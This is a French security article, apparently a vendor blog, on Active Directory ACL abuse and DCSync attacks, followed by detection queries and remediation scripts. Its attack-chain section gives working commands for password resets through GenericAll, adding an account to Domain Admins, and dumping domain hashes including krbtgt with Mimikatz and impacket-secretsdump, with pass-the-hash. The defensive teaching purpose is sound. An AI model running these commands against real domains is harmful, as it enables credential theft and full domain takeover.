Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin

Qu'est-ce que l'Abus ACL et DCSync dans Active Directory ?

Abus ACL et DCSync reposent sur des permissions Active Directory légitimes qui ont été accordées de façon trop large. Les objets Active Directory — utilisateurs, groupes, ordinateurs, OUs et GPOs — possèdent tous des listes de contrôle d'accès (ACL) qui définissent qui peut les lire, les modifier ou les contrôler. Lorsque ces ACL sont mal configurées, elles créent des chemins d'escalade de privilèges silencieux qui contournent les frontières de sécurité traditionnelles.

Les deux schémas d'ACL les plus critiques sont le contrôle total d'un objet (via GenericAll) et les droits de réplication sur le contexte de nommage du domaine, qui permettent à un attaquant de se faire passer pour un client de réplication. Ces deux droits peuvent être détenus par des comptes qui n'ont aucune raison légitime de les avoir, et tous deux mènent directement à la compromission du domaine.

Contrairement à un exploit logiciel, l'abus d'ACL ne dépend d'aucun CVE ni patch manquant : l'attaquant abuse d'un accès qu'AD lui accorde déjà. C'est précisément ce qui rend ces chemins dangereux : ils sont faciles à manquer dans un programme de sécurité centré sur les vulnérabilités et survivent souvent sans encombre aux cycles de correctifs.

Comment Cela Fonctionne

Chaque objet AD possède un Security Descriptor contenant une Discretionary ACL (DACL). Chaque entrée de la DACL est une Access Control Entry (ACE) qui accorde ou refuse des droits spécifiques à un principal de sécurité.

Types d'ACE Dangereuses Courantes

L'Attaque DCSync

Le DCSync abuse du protocole de réplication AD légitime plutôt que d'une exécution de code sur un contrôleur de domaine. Les contrôleurs de domaine répliquent les données via le service de réplication d'annuaire, et les mêmes droits de contrôle d'accès peuvent être délégués à d'autres principaux de sécurité sur la racine du contexte de nommage du domaine.

En pratique, les droits qui comptent le plus sont :

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• dans certains environnements, DS-Replication-Get-Changes-In-Filtered-Set

Microsoft documente DS-Replication-Get-Changes-All comme le droit étendu qui permet la réplication des données secrètes du domaine. Microsoft documente également que les répliques de domaine inscriptibles exigent DS-Replication-Get-Changes, DS-Replication-Get-Changes-All et DS-Replication-Get-Changes-In-Filtered-Set sur la racine du NC du domaine. C'est pourquoi une revue sérieuse de l'exposition au DCSync doit vérifier l'ensemble complet des droits de réplication, pas un seul GUID.

Le DCSync ne nécessite pas de connexion interactive à un DC et ne nécessite pas d'exécution de code sur le DC lui-même. Il peut ressembler à du trafic de réplication légitime si vous n'auditez pas soigneusement les accès à l'annuaire. Il n'est toutefois pas intrinsèquement sans trace : avec la bonne politique d'audit et une couverture SACL adaptée, les contrôleurs de domaine peuvent émettre des événements 4662 pour cet accès, et les sous-catégories d'audit liées à la réplication ajoutent du contexte supplémentaire lors des investigations.

La Chaîne d'Attaque

Étape 1 - Énumérer les ACL Dangereuses

# BloodHound - collecte des données AD et cartographie le graphe ACL complet
bloodhound-ce-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# Dans BloodHound : lancer "Find Principals with DCSync Rights"
# Et : "Shortest Paths to Domain Admins from Owned Principals"

# Manuel : trouver les comptes disposant de droits de réplication sur la racine du domaine
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Étape 2 - Exploiter GenericAll sur un Utilisateur

# Réinitialiser le mot de passe de l'admin cible via GenericAll
$secPwd = ConvertTo-SecureString "NouveauP@ss1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetadmin" -Reset -NewPassword $secPwd

# Ou forcer un SPN Kerberoastable sur la cible (GenericWrite)
Set-ADUser -Identity "targetadmin" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Kerberoaster ensuite le compte et cracker le hash hors ligne

Étape 3 - Exploiter GenericAll sur un Groupe

# S'ajouter soi-même via GenericAll sur le groupe
Add-ADGroupMember -Identity "Domain Admins" -Members "attacker"

Étape 4 - Exécuter le DCSync

# Mimikatz DCSync - dump de tous les hashes
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket depuis Linux - aucune exécution de code sur le DC requise
impacket-secretsdump -just-dc corp.local/compromised_user:[email protected]

# Pass-the-hash si le mot de passe est inconnu
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Étape 5 - Golden Ticket et Persistance

Avec le hash KRBTGT obtenu via DCSync, l'attaquant forge un Golden Ticket — offrant un accès Kerberos illimité à toute ressource du domaine jusqu'à ce que KRBTGT soit renouvelé deux fois.

Détection

Event IDs Windows

Requêtes de Détection SIEM (Elastic KQL)

Détection DCSync - compte exerçant des droits de réplication sur un DC :

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Changement inattendu d'appartenance à un groupe privilégié :

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

Remédiation

1. Supprimer les Droits DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Droit de réplication supprimé pour : $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. Durcir AdminSDHolder

L'objet AdminSDHolder fournit le modèle de permissions pour les groupes et comptes protégés, et le processus SDProp sur le PDC Emulator compare et réapplique ces permissions toutes les 60 minutes par défaut :

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Supprimer toute entrée inattendue trouvée

3. Auditer les ACL des Objets Critiques

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "ACE DANGEREUSE sur $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Activer la Politique d'Audit Requise

# Requis pour la visibilité de l'événement 4662 lorsque des SACL correspondantes existent
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Utile pour suivre les modifications d'objets d'annuaire comme AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

Comment EtcSec Détecte Cela

EtcSec cartographie le graphe ACL complet de votre environnement Active Directory et identifie automatiquement les chemins de permissions dangereux.

DCSYNC_CAPABLE identifie chaque compte non-DC détenant des droits de réplication sur la racine du domaine, avec une attention particulière aux principaux capables de demander des données secrètes du domaine.

ACL_GENERICALL signale les comptes disposant de permissions GenericAll sur des cibles de haute valeur — utilisateurs, groupes, ordinateurs et OUs adjacents à l'accès administratif Tier 0.

PATH_ACL_TO_DA identifie les chaînes ACL multi-sauts où un compte peu privilégié peut atteindre Domain Admin via une séquence d'abus d'ACE — des chemins invisibles sans analyse de graphe.

Questions Fréquentes

Comment les attaquants découvrent-ils les mauvaises configurations d'ACL ? BloodHound est l'outil d'analyse de graphe le plus courant pour ce problème — il collecte les données AD, cartographie les relations entre objets et met en évidence les chemins d'escalade de privilèges les plus courts. Les défenseurs devraient utiliser la même approche avant les attaquants.

Quelle est la différence entre DCSync et la compromission d'un contrôleur de domaine ? Le DCSync abuse des interfaces de réplication légitimes à distance. L'attaquant n'a pas besoin d'exécution de code interactive sur le DC si le compte dispose déjà des droits de contrôle d'accès requis sur le contexte de nommage du domaine.

Comment des comptes obtiennent-ils accidentellement des droits DCSync ? Les sources les plus courantes sont les outils de synchronisation d'annuaire, les intégrations d'identité héritées, les projets de sauvegarde ou de migration, et les modifications d'ACL déléguées qui n'ont jamais été revues. Certains de ces comptes sont légitimes ; le problème survient quand le droit reste large, non documenté, ou hérité plus loin que prévu.

Priorités de Validation

L'abus d'ACL doit être revu dans le même ordre qu'un opérateur l'exploiterait : la racine du domaine, AdminSDHolder, les groupes privilégiés, les comptes de service à haute valeur, et toute OU influençant les systèmes Tier 0. Validez non seulement les droits directs GenericAll et de réplication, mais aussi WriteDACL, WriteOwner, les ACE héritées, et l'appartenance à des groupes imbriqués qui recrée silencieusement le même privilège par un autre chemin. Une remédiation n'est complète que lorsque la permission visible, la chaîne d'héritage et le modèle de délégation qui l'a réintroduite sont tous fermés ensemble.

Chemins Voisins qui Maintiennent le Risque en Vie

Dans les domaines matures, les ACL trop permissives n'existent rarement seules. Elles se trouvent généralement à côté des Chemins d'Attaque Active Directory vers Domain Admin, d'une conception de groupes fragile, de chemins GPO inscriptibles, ou de paramètres de délégation qui permettent à une identité peu privilégiée de retrouver un accès administratif par un autre objet. C'est pourquoi le nettoyage des ACL devrait inclure une revue de graphe, et pas seulement un diff de permissions sur le premier objet signalé. Si votre équipe supprime une ACE mais laisse intact un groupe imbriqué, une OU déléguée, ou une ACL parente héritée, le chemin pratique vers le DCSync survit souvent. Passez en revue l'exposition environnante avec Imbrication Dangereuse de Groupes : Chemins Cachés vers Domain Admin, Attaques de Confiance Active Directory : Du Domaine Enfant à la Racine de la Forêt, Attaques de Délégation Kerberos : De Non Contrainte à l'Abus RBCD, et Mauvaises Configurations GPO : Comment la Group Policy Devient un Vecteur d'Attaque.

Lectures Connexes

• Chemins d'Attaque Active Directory vers Domain Admin
• Imbrication Dangereuse de Groupes : Chemins Cachés vers Domain Admin
• Attaques de Confiance Active Directory : Du Domaine Enfant à la Racine de la Forêt
• Attaques de Délégation Kerberos : De Non Contrainte à l'Abus RBCD
• Mauvaises Configurations GPO : Comment la Group Policy Devient un Vecteur d'Attaque

Preuves à Collecter Avant la Remédiation

Avant de supprimer une permission, capturez toute la chaîne de preuves qui démontre comment le chemin fonctionne. Exportez les ACE actuelles, documentez si les droits sont hérités ou directs, identifiez l'imbrication de groupes qui accorde le privilège, et cartographiez les systèmes ou identités Tier 0 devenus atteignables une fois la permission exploitée. Pour le DCSync en particulier, notez si le compte détient Replicating Directory Changes, Replicating Directory Changes All, ou Replicating Directory Changes In Filtered Set, et si ces droits proviennent d'un groupe délégué que les administrateurs pourraient oublier de revoir plus tard. Pour l'abus d'ACL au sens large, collectez également les permissions de l'OU parente et des conteneurs, car de nombreuses ACE dangereuses réapparaissent après le nettoyage lorsque l'héritage accorde encore le chemin plus haut dans l'arborescence.

La Séquence de Remédiation qui Ferme Réellement le Chemin

La séquence de remédiation la plus efficace commence par supprimer le pont de privilège, pas en nettoyant le symptôme visible isolément. Si un groupe peu privilégié atteint Domain Admin à cause d'un groupe imbriqué, d'une ACL héritée et d'un contrôle d'OU délégué, fermez les trois éléments dans la même fenêtre de changement. Revérifiez AdminSDHolder, les groupes protégés, et la délégation des comptes de service afin que le même opérateur ne puisse pas reprendre le contrôle en pivotant vers un objet voisin. Après le changement d'ACL, validez par une analyse de graphe ou une énumération répétée que le chemin a disparu du point de vue de l'attaquant, pas seulement de la vue administrateur sur un seul objet. Enfin, journalisez la raison du changement de délégation et le propriétaire du nouvel état, car les exceptions non documentées sont la façon dont ces droits reviennent discrètement après la prochaine migration, acquisition, ou demande de dépannage.

Checklist de Vérification Après le Nettoyage des ACL

Une fois le changement de permissions déployé, relancez la même énumération ou analyse de chemin BloodHound qui a prouvé le problème à l'origine. Vérifiez que l'ACE dangereuse a disparu, que le groupe accordant le droit ne le confère plus par imbrication, et qu'aucun objet parent hérité ne recrée le même privilège au prochain rafraîchissement. Pour les constats DCSync, testez que l'identité a réellement perdu les droits de réplication pertinents sur l'ensemble complet qui vous concerne, pas seulement un GUID. Une courte validation post-changement évite le mode d'échec classique où les administrateurs suppriment l'ACE visible, déclarent le succès, puis découvrent plus tard qu'un chemin de délégation adjacent a maintenu la chaîne d'abus en vie.